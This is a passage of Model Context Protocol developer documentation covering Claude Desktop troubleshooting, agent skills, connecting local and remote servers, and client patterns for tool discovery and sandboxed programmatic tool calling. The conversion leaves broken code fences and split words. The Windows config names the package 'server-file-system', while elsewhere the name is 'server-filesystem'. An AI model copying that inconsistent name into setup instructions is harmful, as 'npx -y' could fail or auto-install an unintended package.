If the server has shown up in the "Connectors" menu, you can now test your server by running the following commands in Claude for Desktop:

- What's the weather in Sacramento?
- What are the active weather alerts in Texas?

```

```

```

```

```
<div class="callout note" markdown="1">
```

```
<p class="callout-label">참고</p>
```

Since this is the US National Weather service, the queries will only work for US locations.

```
</div>
```

What's happening under the hood

When you ask a question:

1. The client sends your question to Claude
2. Claude analyzes the available tools and decides which one(s) to use
3. The client executes the chosen tool(s) through the MCP server
4. The results are sent back to Claude
5. Claude formulates a natural language response
6. The response is displayed to you!

Troubleshooting

Claude for Desktop Integration Issues

Getting logs from Claude for Desktop

Claude.app logging related to MCP is written to log files in `~/Library/Logs/Claude` (macOS) or `~/.config/Claude/logs/` (Linux):

- `mcp.log` will contain general logging about MCP connections and connection failures.
- Files named `mcp-server-SERVERNAME.log` will contain the stderr output from the named server. Stdio servers may use stderr for all their logging, so these files are not limited to errors.

You can run the following command to list recent logs and follow along with any new ones:

```
```bash macOS
Check Claude's logs for errors
tail -n 20 -f ~/Library/Logs/Claude/mcp*.log
```

```
```bash Linux
```

Check Claude's logs for errors

```
tail -n 20 -f ~/.config/Claude/logs/mcp*.log
```

****Server not showing up in Claude****

1. Check your `claude\_desktop\_config.json` file syntax
2. Make sure the path to your project is absolute and not relative
3. Restart Claude for Desktop completely

<div class="callout warning" markdown="1">

<p class="callout-label">주의</p>

To properly restart Claude for Desktop, you must fully quit the application:

- ****Windows****: Right-click the Claude icon in the system tray (which may be hidden in the "hidden icons" menu) and select "Quit" or "Exit".
- ****macOS****: Use Cmd+Q or select "Quit Claude" from the menu bar.
- ****Linux****: Right-click the Claude icon in the system tray and select "Quit", or run `pkill -f claude-desktop` from a terminal.

Simply closing the window does not fully quit the application, and your MCP server configuration changes will not take effect.

</div>

****Tool calls failing silently****

If Claude attempts to use the tools but they fail:

1. Check Claude's logs for errors
2. Verify your server builds and runs without errors
3. Try restarting Claude for Desktop

****None of this is working. What do I do?****

Please refer to our [\[debugging guide\]\(/docs/2026-07-28/tools/debugging\)](/docs/2026-07-28/tools/debugging) for better debugging tools and more detailed guidance.

****Weather API Issues****

****Error: Failed to retrieve grid point data****

This usually means either:

1. The coordinates are outside the US
2. The NWS API is having issues

3. You're being rate limited

Fix:

- Verify you're using US coordinates
- Add a small delay between requests
- Check the NWS API status page

****Error: No active alerts for [STATE]****

This isn't an error - it just means there are no current weather alerts for that state. Try a different state or check during severe weather.

<div class="callout note" markdown="1">

<p class="callout-label">참고</p>

For more advanced troubleshooting, check out our guide on [Debugging MCP](/docs/2026-07-28/tools/debugging)

</div>

Next steps

****[Building a client](/docs/2026-07-28/develop/build-client)****

Learn how to build your own MCP client that can connect to your server

****[Example servers](/examples)****

Check out our gallery of official MCP servers and implementations

****[Debugging Guide](/docs/2026-07-28/tools/debugging)****

Learn how to effectively debug MCP servers and integrations

****[Build with Agent Skills](/docs/2026-07-28/develop/build-with-agent-skills)****

Use agent skills to guide AI coding assistants through server design

<div class="page-break"></div>

Build with Agent Skills

<p class="source">mcp/docs/2026-07-28/develop/build-with-agent-skills.mdx</p>

[Agent skills](https://agentskills.io/home) are portable instruction sets that give AI coding assistants domain knowledge for a task. For MCP development, they encode the design decisions (deployment model, tool patterns, auth) so your agent can interrogate your use case and scaffold a server that fits.

Available skills

A reference set of MCP development skills is available as the

[`mcp-server-dev` plugin](https://github.com/anthropics/claude-plugins-official/tree/main/plugins/mcp-server-dev).

It provides three composing skills:

Skill	Purpose
-----	-----
-----	-----
`build-mcp-server`	Entry point. Interrogates the use case, picks a deployment model and tool-design pattern, routes to specialized skills.
`build-mcp-app`	Adds interactive UI widgets (forms, pickers, dashboards) rendered inline in chat.
`build-mcpb`	Packages a local stdio server with its runtime so users can install it without Node or Python.

Each skill ships a `SKILL.md` file plus a `references/` folder of supporting material (auth flows, tool-design patterns, widget templates, manifest schemas) that the agent reads on demand. The files follow the open format and work with any agent that implements the standard. For example, to install them in Claude Code:

```
```bash
/plugin marketplace add anthropics/claude-plugins-official
/plugin install mcp-server-dev
```

For other agents, check your skills or extensions catalog, or clone the [skill directories](#) ( `SKILL.md` plus `references/` ) into your agent's skills location.

## Start a build

With the skills installed, ask your agent to help you build an MCP server. The entry skill triggers on natural-language requests, or you can invoke it directly using your agent's skill-invocation syntax.

The skill runs a short discovery phase before writing any code. Expect questions about:

- **What it connects to** — a cloud API, a local process, the filesystem, hardware
- **Who will use it** — just you, your team, or anyone who installs it
- **Action surface size** — a handful of operations versus wrapping a large API
- **User interaction needs** — plain text results, structured input via [elicitation](#), or rich UI widgets
- **Upstream auth** — API keys, OAuth 2.0, or none

If your opening message already covers these, the agent skips ahead to the recommendation.

## Deployment paths

---

Based on discovery, the skill recommends one of four paths and scaffolds accordingly:

**Remote [Streamable HTTP](#)** is the default for anything wrapping a cloud API. Zero install friction, one deployment serves all users, and OAuth flows work properly because the server can handle redirects and token storage. The reference skill includes scaffolds for Cloudflare Workers and portable Express/FastMCP setups.

**[MCP apps](#)** extend a server with interactive widgets rendered in chat, such as searchable pickers, charts, and live dashboards. The skill hands off to `build-mcp-app` when [elicitation's](#) flat-form constraints don't fit.

**[MCP Bundles \(MCPB\)](#)** package a local server together with its runtime as a single `.mcpb` archive, so users can install it without setting up Node or Python. Use this path when the server must touch the user's machine: reading local files, driving desktop apps, or talking to localhost services. The skill hands off to `build-mcpb`.

**Local [stdio](#)** remains available for prototyping, with a noted upgrade path to MCPB when you're ready to distribute.

## Next steps

---

Once your agent scaffolds the server, iterate on tool descriptions and error handling, then test and ship:

### [MCP Inspector](#)

Test your server's tools, resources, and prompts interactively

### [Connect to a client](#)

Wire your server into an MCP client via local or remote configuration

### [Publish to the Registry](#)

Make your server discoverable in the MCP Registry

# Connect to local MCP servers

---

mcp/docs/2026-07-28/develop/connect-local-servers.mdx

Model Context Protocol (MCP) servers extend AI applications' capabilities by providing secure, controlled access to local resources and tools. Many clients support MCP, enabling diverse integration possibilities across different platforms and applications.

This guide demonstrates how to connect to local MCP servers using Claude Desktop as an example, one of the many clients that support MCP. While we focus on Claude Desktop's implementation, the concepts apply broadly to other MCP-compatible clients. By the end of this tutorial, Claude will be able to interact with files on your computer, create new documents, organize folders, and search through your file system—all with your explicit permission for each action.

 Claude Desktop with filesystem integration showing file management capabilities

## Prerequisites

---

Before starting this tutorial, ensure you have the following installed on your system:

### Claude Desktop

Download and install [Claude Desktop](#) for your operating system. Claude Desktop is available for macOS and Windows.

If you already have Claude Desktop installed, verify you're running the latest version by clicking the Claude menu and selecting "Check for Updates..."

### Node.js

The Filesystem Server and many other MCP servers require Node.js to run. Verify your Node.js installation by opening a terminal or command prompt and running:

```
node --version
```

If Node.js is not installed, download it from [nodejs.org](https://nodejs.org). We recommend the LTS (Long Term Support) version for stability.

## Understanding MCP Servers

---

MCP servers are programs that run on your computer and provide specific capabilities to Claude Desktop through a standardized protocol. Each server exposes tools that Claude can use to perform actions, with your approval. The Filesystem Server we'll install provides tools for:

- Reading file contents and directory structures
- Creating new files and directories
- Moving and renaming files
- Searching for files by name or content

All actions require your explicit approval before execution, ensuring you maintain full control over what Claude can access and modify.

## Installing the Filesystem Server

---

The process involves configuring Claude Desktop to automatically start the Filesystem Server whenever you launch the application. This configuration is done through a JSON file that tells Claude Desktop which servers to run and how to connect to them.

### Open Claude Desktop Settings

Start by accessing the Claude Desktop settings. Click on the Claude menu in your system's menu bar (not the settings within the Claude window itself) and select "Settings..."

On macOS, this appears in the top menu bar:



Claude Desktop menu showing Settings option

This opens the Claude Desktop configuration window, which is separate from your Claude account settings.

### Access Developer Settings

In the Settings window, navigate to the "Developer" tab in the left sidebar. This section contains options for configuring MCP servers and other developer features.

Click the "Edit Config" button to open the configuration file:



Developer settings showing Edit Config button

This action creates a new configuration file if one doesn't exist, or opens your existing configuration. The file is located at:

- **macOS:** `~/Library/Application Support/Claude/claude_desktop_config.json`
- **Windows:** `%APPDATA%\Claude\claude_desktop_config.json`

### Configure the Filesystem Server

Replace the contents of the configuration file with the following JSON structure. This configuration tells Claude Desktop to start the Filesystem Server with access to specific directories:

```
```json
{
  "mcpServers": {
    "filesystem": {
      "command": "npx",
      "args": [
        "-y",
        "@modelcontextprotocol/server-filesystem",
        "/Users/username/Desktop",
        "/Users/username/Downloads"
      ]
    }
  }
}
```

```

``json Windows
{
  "mcpServers": {
    "filesystem": {
      "command": "npx",
      "args": [
        "-y",
        "@modelcontextprotocol/server-file-system",
        "C:\\Users\\username\\Desktop",
        "C:\\Users\\username\\Downloads"
      ]
    }
  }
}

```

Replace `username` with your actual computer username. The paths listed in the `args` array specify which directories the Filesystem Server can access. You can modify these paths or add additional directories as needed.

팁

Understanding the Configuration

- `"filesystem"` : A friendly name for the server that appears in Claude Desktop
- `"command": "npx"` : Uses Node.js's npx tool to run the server
- `"-y"` : Automatically confirms the installation of the server package
- `"@modelcontextprotocol/server-file-system"` : The package name of the Filesystem Server
- The remaining arguments: Directories the server is allowed to access

주의

Security Consideration

Only grant access to directories you're comfortable with Claude reading and modifying. The server runs with your user account permissions, so it can perform any file operations you can perform manually.

Restart Claude Desktop

After saving the configuration file, completely quit Claude Desktop and restart it. The application needs to restart to load the new configuration and start the MCP server.

Upon successful restart, click the "Add files, connectors, and more /" indicator  in the bottom-left corner of the conversation input box:

 Claude Desktop interface showing MCP server indicator

Click on this indicator, then move the mouse over "Connectors" and click "Manage connectors". Select "filesystem" from the connector list to view the Filesystem Server's available tools:

 Available filesystem tools in Claude Desktop

If the Filesystem Server doesn't connect, refer to the [Troubleshooting](#) section for debugging steps.

Using the Filesystem Server

With the Filesystem Server connected, Claude can now interact with your file system. Try these example requests to explore the capabilities:

File Management Examples

- **"Can you write a poem and save it to my desktop?"** - Claude will compose a poem and create a new text file on your desktop
- **"What work-related files are in my downloads folder?"** - Claude will scan your downloads and identify work-related documents
- **"Please organize all images on my desktop into a new folder called 'Images'"** - Claude will create a folder and move image files into it

How Approval Works

Before executing any file system operation, Claude will request your approval. This ensures you maintain control over all actions:

 Claude requesting approval to perform a file operation

Review each request carefully before approving. You can always deny a request if you're not comfortable with the proposed action.

Troubleshooting

If you encounter issues setting up or using the Filesystem Server, these solutions address common problems:

Server not showing up in Claude / hammer icon missing

1. Restart Claude Desktop completely
2. Check your `claude_desktop_config.json` file syntax
3. Make sure the file paths included in `claude_desktop_config.json` are valid and that they are absolute and not relative
4. Look at [logs](#) to see why the server is not connecting

5. In your command line, try manually running the server (replacing `username` as you did in `claude_desktop_config.json`) to see if you get any errors:

```
```bash macOS/Linux npx -y @modelcontextprotocol/server-filesystem /Users/username/Desktop /Users/username/Downloads
```

```
```powershell Windows
npx -y @modelcontextprotocol/server-filesystem C:\Users\username\Desktop C:\Users\username\Downloads
```

Getting logs from Claude Desktop

Claude.app logging related to MCP is written to log files in:

- macOS: `~/Library/Logs/Claude`
- Windows: `%APPDATA%\Claude\logs`
- `mcp.log` will contain general logging about MCP connections and connection failures.
- Files named `mcp-server-SERVERNAME.log` will contain the stderr output from the named server. Stdio servers may use stderr for all their logging, so these files are not limited to errors.

You can run the following command to list recent logs and follow along with any new ones (on Windows, it will only show recent logs):

```
```bash macOS/Linux tail -n 20 -f ~/Library/Logs/Claude/mcp*.log
```

```
```powershell Windows
type "%APPDATA%\Claude\logs\mcp*.log"
```

Tool calls failing silently

If Claude attempts to use the tools but they fail:

1. Check Claude's logs for errors
2. Verify your server builds and runs without errors
3. Try restarting Claude Desktop

None of this is working. What do I do?

Please refer to our [debugging guide](#) for better debugging tools and more detailed guidance.

ENOENT error and `${APPDATA}` in paths on Windows

If your configured server fails to load, and you see within its logs an error referring to `${APPDATA}` within a path, you may need to add the expanded value of `%APPDATA%` to your `env` key in

claude_desktop_config.json :

```
{
  "brave-search": {
    "command": "npx",
    "args": ["-y", "@modelcontextprotocol/server-brave-search"],
    "env": {
      "APPDATA": "C:\\Users\\user\\AppData\\Roaming\\",
      "BRAVE_API_KEY": "..."
    }
  }
}
```

With this change in place, launch Claude Desktop once again.

주의

npm should be installed globally

The `npx` command may continue to fail if you have not installed npm globally. If npm is already installed globally, you will find `%APPDATA%\npm` exists on your system. If not, you can install npm globally by running the following command:

```
npm install -g npm
```

Next Steps

Now that you've successfully connected Claude Desktop to a local MCP server, explore these options to expand your setup:

[Explore other servers](#)

Browse our collection of official and community-created MCP servers for additional capabilities

[Build your own server](#)

Create custom MCP servers tailored to your specific workflows and integrations

[Connect to remote servers](#)

Learn how to connect Claude to remote MCP servers for cloud-based tools and services

[Understand the protocol](#)

Dive deeper into how MCP works and its architecture

Connect to remote MCP Servers

mcp/docs/2026-07-28/develop/connect-remote-servers.mdx

Remote MCP servers extend AI applications' capabilities beyond your local environment, providing access to internet-hosted tools, services, and data sources. By connecting to remote MCP servers, you transform AI assistants from helpful tools into informed teammates capable of handling complex, multi-step projects with real-time access to external resources.

Many clients now support remote MCP servers, enabling a wide range of integration possibilities. This guide demonstrates how to connect to remote MCP servers using [Claude](#) as an example, one of the many clients that support MCP. While we focus on Claude's implementation through Custom Connectors, the concepts apply broadly to other MCP-compatible clients.

Understanding Remote MCP Servers

Remote MCP servers function similarly to local MCP servers but are hosted on the internet rather than your local machine. They expose tools, prompts, and resources that Claude can use to perform tasks on your behalf. These servers can integrate with various services such as project management tools, documentation systems, code repositories, and any other API-enabled service.

The key advantage of remote MCP servers is their accessibility. Unlike local servers that require installation and configuration on each device, remote servers are available from any MCP client with an internet connection. This makes them ideal for web-based AI applications, integrations that emphasize ease of use, and services that require server-side processing or authentication.

What are Custom Connectors?

Custom Connectors serve as the bridge between Claude and remote MCP servers. They allow you to connect Claude directly to the tools and data sources that matter most to your workflows, enabling Claude to operate within your favorite software and draw insights from the complete context of your external tools.

With Custom Connectors, you can:

- [Connect Claude to existing remote MCP servers](#) provided by third-party developers
- [Build your own remote MCP servers to connect with any tool](#)

Connecting to a Remote MCP Server

The process of connecting Claude to a remote MCP server involves adding a Custom Connector through the [Claude interface](#). This establishes a secure connection between Claude and your chosen remote server.

Navigate to Connector Settings

Open Claude Desktop or Claude in your browser, then navigate to the settings page:

- **Desktop:** Either use the keyboard shortcut `Ctrl+Comma` or click the top-left menu icon , hover over "File", and select "Settings"
- **Browser:** Either use the keyboard shortcut `⌘↑`, (macOS) or click on your profile icon, and select "Settings" from the menu

Once you're in the settings page, click "Connectors" in the sidebar. This displays your currently configured connectors and provides options for adding new ones.

Add a Custom Connector

In the Connectors section, click the "Add" button at the top-right of the window, then select "Add custom connector" from the dropdown. This begins the connection process. To follow along, copy/paste the URL below:

``text Example Remote Server <https://example-server.modelcontextprotocol.io/mcp>

```

```

A dialog will appear prompting you to enter the remote MCP server URL. This URL should be provided by the server developer or administrator. Enter the complete URL, ensuring it includes the proper protocol (`https://`) and any necessary path components.

```

```

After entering the URL, click "Add" to proceed with the connection.

****Complete Authentication****

Most remote MCP servers require authentication to ensure secure access to their resources. The authentication process varies depending on the server implementation but commonly involves OAuth, API keys, or username/password combinations.

```

```

Follow the authentication prompts provided by the server. This may redirect you to a third-party authentication provider or display a form within Claude. Once authentication is complete, Claude

will establish a secure connection to the remote server.

****Access Resources and Prompts****

After successful connection, the remote server's resources and prompts become available in your Claude conversations. You can access these by clicking the "Add files, connectors, and more" indicator  in the bottom-left corner of the message input area. Then hover over "Connectors", move the cursor over "Add to Example Remote Server", where hovering displays the attachment menu.

```

```

The menu displays all available resources and prompts from your connected server. Select the items you want to include in your conversation. These resources provide Claude with context and information from your external tools.

```

```

****Configure Tool Permissions****

Remote MCP servers often expose multiple tools with varying capabilities. You can control which tools Claude is allowed to use by configuring permissions in the connector settings. This ensures Claude only performs actions you've explicitly authorized.

```

```

Navigate back to the Connectors settings and click on your connected server. Here you can enable or disable specific tools, set usage limits, and configure other security parameters according to your needs.

Best Practices for Using Remote MCP Servers

When working with remote MCP servers, consider these recommendations to ensure a secure and efficient experience:

****Security considerations**:** Always verify the authenticity of remote MCP servers before connecting. Only connect to servers from trusted sources, and review the permissions requested during authentication. Be cautious about granting access to sensitive data or systems.

****Managing multiple connectors**:** You can connect to multiple remote MCP servers simultaneously. Organize your connectors by purpose or project to maintain clarity. Regularly review and remove connectors you no longer use to keep your workspace organized and secure.

Next Steps

Now that you've connected Claude to a remote MCP server, you can explore its capabilities in your conversations. Try using the connected tools to automate tasks, access external data, or integrate with your existing workflows.

[Build your own remote server](/docs/2026-07-28/develop/build-server)

Create custom remote MCP servers to integrate with proprietary tools and services

[Explore available servers](https://github.com/modelcontextprotocol/servers)

Browse our collection of official and community-created MCP servers

[Connect local servers](/docs/2026-07-28/develop/connect-local-servers)

Learn how to connect Claude Desktop to local MCP servers for direct system access

[Understand the architecture](/docs/2026-07-28/learn/architecture)

Dive deeper into how MCP works and its architecture

Remote MCP servers unlock powerful possibilities for extending Claude's capabilities. As you become familiar with these integrations, you'll discover new ways to streamline your workflows and accomplish complex tasks more efficiently.

<div class="page-break"></div>

<div class="folder-title">mcp / docs/2026-07-28/develop/clients</div>

Client Best Practices

<p class="source">mcp/docs/2026-07-28/develop/clients/client-best-practices.md</p>

As MCP host applications, such as agents, connect to more MCP servers and accumulate access to hundreds or thousands of tools, naive approaches to tool management break down. Loading every tool definition into the model's context window upfront wastes tokens, increases latency, and degrades model performance. Passing large intermediate results through the model between sequential tool calls compounds the problem.

Two patterns address these challenges: **progressive discovery**, which controls `_when_` tool definitions enter context, and **programmatic tool calling**, which controls `_how_` tools are invoked.

Progressive Tool Discovery

Naive MCP host implementations pass the tool definitions of every connected server directly to the model at the start of each conversation. For a handful of tools, this is perfectly reasonable

e. But when a host has access to dozens of servers exposing hundreds of tools, those definitions alone can consume the majority of the context window before the model has even read the user's message.

```

```

Progressive discovery avoids this:

- The host fetches tool definitions via ``tools/list`` as normal, but defers injecting them into the model's context.
- The host provides a lightweight ``search_tools`` meta-tool to the model.
- The host loads full definitions into context only as needed.

When to Use Progressive Discovery

Progressive discovery is best used when tool definitions take large parts of the context window. For a small set of tools with tool definitions taking up a small part of the context window, loading all tools is fine.

Once the tool definitions take up a significant part of the available context window, clients should switch to progressive discovery. We recommend that clients implement thresholds to determine when to switch:

- Implement a threshold as a percentage of the context window. For example, 1%-5%.
- Load tool definitions. Once the threshold is reached, switch to progressive discovery.

Choosing a Discovery Strategy

Once the model invokes the ``search_tools`` tool, we need to choose a search strategy:

- **Keyword-based**: Keyword matching (BM25, regex). Simple and effective, particularly for descriptive tool names and descriptions.
- **Embedding-based**: Vector-similarity retrieval over tool descriptions. Handles synonyms and semantic matching better.
- **Subagent-based**: A secondary model, often a small and fast model such as Claude Haiku or Gemini Flash, selects tools for the task. This usually works very well but can be more costly than embedding-based or keyword-based solutions.
- **Hybrid**: Combine approaches. For example, by scoring across keyword and embedding rankings, or choosing different strategies depending on use-case or query.

Some model providers already offer built-in tool search. For example, [OpenAI](<https://developers.openai.com/api/docs/guides/tools-tool-search>) and [Anthropic](<https://platform.claude.com/docs/en/agents-and-tools/tool-use/tool-search-tool>) support this natively; check your provider's documentation for an equivalent. When available, you may prefer the platform's tool search over a custom implementation. Build your own when the provider doesn't offer one or when you need speci

alized retrieval logic (e.g., domain-specific ranking or access-control filtering).

The three-layer pattern below illustrates a custom search-based approach in detail, but the layered principle (catalog, inspect, execute) applies regardless of retrieval mechanism.

Using Progressive Discovery

One common implementation for progressive discovery uses a search-based three-layer approach:

****Layer 1: Catalog.**** The host exposes a small set of meta-tools for searching available capabilities. A ``search_tools`` tool accepts a natural-language query and returns matching tool names with brief descriptions.

```
```typescript
// The model calls a lightweight search tool
search_tools({ query: "update salesforce record" })

// Returns concise matches: names and one-line descriptions only
→ [
 { name: "salesforce_updateRecord", description: "Update fields on a Salesforce object" },
 { name: "salesforce_upsertRecord", description: "Insert or update based on external ID" }
]
```

**Layer 2: Inspect.** Once the model identifies a candidate, it fetches the full definition (input schema, output schema, documentation) for that tool only.

```
// The model inspects only the tool it needs
get_tool_details({ name: "salesforce_updateRecord" });
```

This returns the complete schema for a single tool:

```
{
 "name": "salesforce_updateRecord",
 "description": "Updates a record in Salesforce",
 "inputSchema": {
 "type": "object",
 "properties": {
 "objectType": {
 "type": "string",
 "description": "Salesforce object type"
 },
 "recordId": { "type": "string", "description": "Record ID to update" },
 "data": { "type": "object", "description": "Fields to update" }
 },
 "required": ["objectType", "recordId", "data"]
 }
}
```

**Layer 3: Execute.** The model calls the tool with full knowledge of its interface, having loaded only the definitions it needed.

This pattern reduces token usage dramatically and can improve tool selection accuracy: the model focuses on a few relevant tools rather than scanning hundreds of irrelevant ones. Other discovery strategies (embeddings, subagents, etc.) follow the same layered principle but substitute different retrieval mechanisms in the catalog layer.

## Dynamic Server Management

Progressive discovery extends beyond individual tools to entire servers. Rather than connecting to every configured server at startup, a host can:

1. Maintain a registry of available servers and their high-level descriptions.
2. Connect to a server only when the model determines it needs that server's capabilities.
3. Disconnect servers that are no longer relevant to the current task, freeing context.

```
sequenceDiagram
 participant Model
 participant Host
 participant Registry
 participant Server

 Model->>Host: search_available_servers("CRM")
 Host->>Registry: Query available servers
 Registry-->>Host: Salesforce server (not connected)
 Host-->>Model: Salesforce server available

 Model->>Host: enable_server("salesforce")
 Host->>Server: server/discover
 Server-->>Host: Supported versions + capabilities
 Host->>Server: tools/list
 Server-->>Host: Tool definitions
 Host-->>Model: Salesforce server connected

 Note over Model: Task complete

 Model->>Host: disable_server("salesforce")
 Host-->>Model: Server disconnected, context freed
```

This works especially well for general-purpose agents, where the user's intent isn't known upfront. The agent starts with a minimal set of always-on servers and connects others as needed. Combined with [agent skills](#), a skill file can declare which MCP servers it needs, and the host connects them only when that skill is invoked.

## Implementation Guidelines

When implementing progressive discovery:

Guideline	Rationale
<b>Offer multiple detail levels</b>	Let the model choose between name-only, name-and-description, or full-schema responses.
<b>Cache tool definitions</b>	Once fetched from a server, memoize the definition host-side so re-injecting it later doesn't need another <code>tools/list</code> round trip. This is separate from what's currently in the model's context.
<b>Refresh on <code>list_changed</code></b>	Re-index the search catalog when a server sends <code>notifications/tools/list_changed</code> .
<b>Group tools by server</b>	Present tools organized by their source server so the model can reason about related capabilities.

## Caching

Each list result (such as `tools/list`), as well as each `server/discover` and `resources/read` result, carries `tTlMs` and `cacheScope` hints. Follow them as defined in the specification's [caching utility](#). In particular, treat a cached list as stale once a `list_changed` notification arrives, even before its TTL expires.

## Interaction with Prompt Caching

Most providers cache the prompt prefix, including the `tools` array. Adding or removing tool definitions mid-conversation invalidates that cache, and the resulting miss can cost more tokens than the definitions you removed. To preserve caching:

- Append newly discovered definitions after the cache breakpoint rather than re-sorting the `tools` array, or route every call through a single stable `call_tool({name, args})` meta-tool so the array never changes.
- Treat server disconnection as a conversation-boundary operation rather than a per-turn one.
- Consult your provider's caching documentation alongside the tool-search links above.

## Programmatic Tool Calling / Code Mode

With direct tool calling, every tool invocation is a round trip: the model generates a tool call, the client executes it, and the full result flows back into the model's context. When a task requires chaining multiple tools (read a document, transform it, write it somewhere else), each intermediate result passes through the model, consuming tokens and adding latency even when it has nothing to do with them.

Programmatic tool calling (sometimes called "code mode") provides a way for clients to **compose tool calls** effectively. Instead of calling tools directly, the model writes code that calls tools. The code executes in a sandboxed environment, and only the final result returns to the model.

Programmatic tool calling is powerful and allows for more efficient use of MCP tools and resources, but requires clients to implement a sandbox environment.

 Comparison of direct tool calling versus programmatic tool calling. Direct calling passes every intermediate result through the model (~100K+ tokens). Programmatic calling sends a ~200-token script to a sandbox, which executes the tool calls and returns a ~15-token summary.

## How It Works

The host converts MCP tool schemas into a typed API available inside a sandbox. When the model needs tools, it writes a script and executes it.

**Step 1: Generate a programmatic API from MCP schemas.** The host reads each server's tool definitions and produces typed functions based on each tool's arguments and `outputSchema`:

```
// Auto-generated from the Logging MCP server's tool schema
interface LogEntry {
 timestamp: string;
 message: string;
 level: string;
}

function logging_getLogs(input: {
 level: "error" | "warn" | "info";
 since: number;
}): Promise<{ entries: LogEntry[] }> {
 return mcp.callTool<{ entries: LogEntry[] }>("logging_getLogs", input);
}

// Auto-generated from the Ticketing MCP server's tool schema
function ticketing_createIssue(input: {
 title: string;
 body?: string;
 priority: "low" | "medium" | "high";
}): Promise<{ issueId: string }> {
 return mcp.callTool<{ issueId: string }>("ticketing_createIssue", input);
}
```

MCP Servers can provide an optional `outputSchema` for each tool. When an output schema is present, the host can produce precise return types (like `LogEntry` above).

When an output schema is absent, prefer the simple path:

- **Use a generic type and move on.** Accept `any` or `string` and handle the unstructured output downstream. The real fix is for server authors to provide `outputSchema`.
- **Extract a typed result using a fast model**, for single-shot calls outside loops. Expose a host-brokered `extract(value, ExpectedType)` helper through the same stub-interception path as MCP tool calls so the sandbox itself never opens a network connection. The helper routes to a

small model (for example, Claude Haiku or Gemini Flash) to coerce the value into `ExpectedType`. This adds per-call latency and can hallucinate or drop fields, so validate the result against `ExpectedType` before use.

**Step 2: The model writes code against these APIs.** Rather than making separate tool calls with full results flowing through context between them, the model writes a single script. Consider a task like "find all error logs from the past hour and file a ticket for each unique error." With direct tool calling, thousands of log entries would flow through the model's context. With code, the model filters in the sandbox:

```
// Model-generated code, executes in sandbox
const logs = await logging_getLogs({
 level: "error",
 since: Date.now() - 3600000,
});

// Filter and deduplicate inside the sandbox, not in the model's context
const uniqueErrors = new Map<string, LogEntry>();
for (const log of logs.entries) {
 if (!uniqueErrors.has(log.message)) {
 uniqueErrors.set(log.message, log);
 }
}

for (const [message, log] of uniqueErrors) {
 await ticketing_createIssue({
 title: `Error: ${message}`,
 body: `First seen: ${log.timestamp}\nOccurrences: ${
 logs.entries.filter((l) => l.message === message).length
 }`,
 priority: "high",
 });
}

console.log(
 `Filed ${uniqueErrors.size} tickets from ${logs.entries.length} error logs`,
);
```

**Step 3: The sandbox executes the code.** Function calls inside the sandbox are intercepted and routed back to the appropriate MCP server through the host broker. The log data and ticket creation flow directly between servers without ever entering the model's context. Only the `console.log` output, a single summary line, returns to the model.

## Choosing a Sandbox

The right sandbox depends on the language you want the model to write, your host application's language, and how much isolation you need. The table lists example runtimes rather than endorsements; evaluate maturity for your use case:

Sandboxed language	Runtime / Library	Host language	Approach
JavaScript	<a href="#">Deno</a> , <code>isolated-vm</code>	Rust / Node / CLI	V8-based runtimes with fine-grained permissions. Can disable all permissions for full lockdown.
Python	<a href="#">Monty</a> ( <i>experimental</i> )	Rust	Minimal Python interpreter built for AI use cases. No I/O by default.
TypeScript	<a href="#">pctx</a> ( <i>early-stage</i> )	Python / Rust	Incorporates code mode concepts as a library, with low-level Rust support.
Any (via Wasm)	<a href="#">Wasmtime</a>	Rust / C / Go	Compile any language to Wasm and run it with capability-based security.

Regardless of sandbox, the integration pattern is the same: the host injects function stubs, intercepts calls over an in-process or stdio channel (so network permissions can stay fully denied), and dispatches them as `tools/call` requests to MCP servers.

## Execution Architecture

The implementation has three components:

```

flowchart LR
 subgraph Host["MCP Host"]
 A[LLM] -->|writes code| B[Sandbox]
 B -->|function call| C[MCP Client]
 C -->|return value| B
 B -->|console output| A
 end
 C -->|tool call| D[MCP Server A]
 C -->|tool call| E[MCP Server B]
 D -->|result| C
 E -->|result| C

```

**The sandbox** runs model-generated code in an isolated environment with no direct network access. Its only interface to the outside world is through the generated function stubs, which route calls back to the host.

**The host** acts as a broker. It receives function calls from the sandbox, maps them to the correct MCP server, executes the tool call, and returns the result to the sandbox. Authorization tokens and credentials are held by the host and never exposed to the generated code.

**The model** sees only what the sandbox returns, typically the output of `console.log` statements or a final return value. This gives the model (and the client developer) precise control over what enters the context window.

## Security Considerations

Programmatic tool calling introduces a code execution surface that requires careful sandboxing:

- **Per-call authorization:** The broker is still the MCP host for spec purposes. Apply the same human-in-the-loop confirmation policy to sandbox-originated calls that you apply to direct calls (see [Tools: Security](#)). Approving the script does not grant blanket approval for every tool call it makes at runtime; hosts may grant categorical approval (for example, "allow `ticketing_createIssue` for this script run") rather than prompting per iteration, but the broker must still evaluate each call against that grant.
- **Cross-server data flow:** Tool results from one server are untrusted input to another. The broker should apply the same input-review policy to brokered calls as to direct ones; output truncation alone does not prevent exfiltration.
- **Network isolation:** The sandbox should have no direct network access. All external communication flows through the host broker, which enforces authorization and access control.
- **No credential exposure:** API keys and tokens are held by the host. The generated code calls typed functions; the host adds authentication when forwarding to servers.
- **Resource limits:** Set timeouts and memory limits on sandbox execution to prevent runaway scripts.
- **Output filtering:** Validate and truncate sandbox console output before feeding it back to the model.

## Error Handling

MCP tool errors arrive as a successful response with `isError: true` rather than a transport failure. Generated wrappers should convert this into a thrown exception so model-authored code can use `try / catch`. If an uncaught error terminates the script, surface it as the script's result so the model can self-correct; the model is responsible for reporting any partial side effects already committed.

## Combining Both Patterns

---

Progressive discovery and programmatic tool calling work well together. The model uses discovery tools to identify which tools it needs, loads their schemas, and then writes a single script that calls multiple tools in one execution pass. This combination minimizes both the token cost of tool definitions *and* the token cost of tool results, keeping the model's context focused on reasoning rather than passing data through it.

**[mcp / docs/2026-07-28/getting-started](#)**



# What is the Model Context Protocol (MCP)?

---

mcp/docs/2026-07-28/getting-started/intro.mdx

MCP (Model Context Protocol) is an open-source standard for connecting AI applications to external systems.

Using MCP, AI applications like Claude or ChatGPT can connect to data sources (e.g. local files, databases), tools (e.g. search engines, calculators) and workflows (e.g. specialized prompts)—enabling them to access key information and perform tasks.

Think of MCP like a USB-C port for AI applications. Just as USB-C provides a standardized way to connect electronic devices, MCP provides a standardized way to connect AI applications to external systems.



## What can MCP enable?

---

- Agents can access your Google Calendar and Notion, acting as a more personalized AI assistant.
- Claude Code can generate an entire web app using a Figma design.
- Enterprise chatbots can connect to multiple databases across an organization, empowering users to analyze data using chat.
- AI models can create 3D designs on Blender and print them out using a 3D printer.

## Why does MCP matter?

---

Depending on where you sit in the ecosystem, MCP can have a range of benefits.

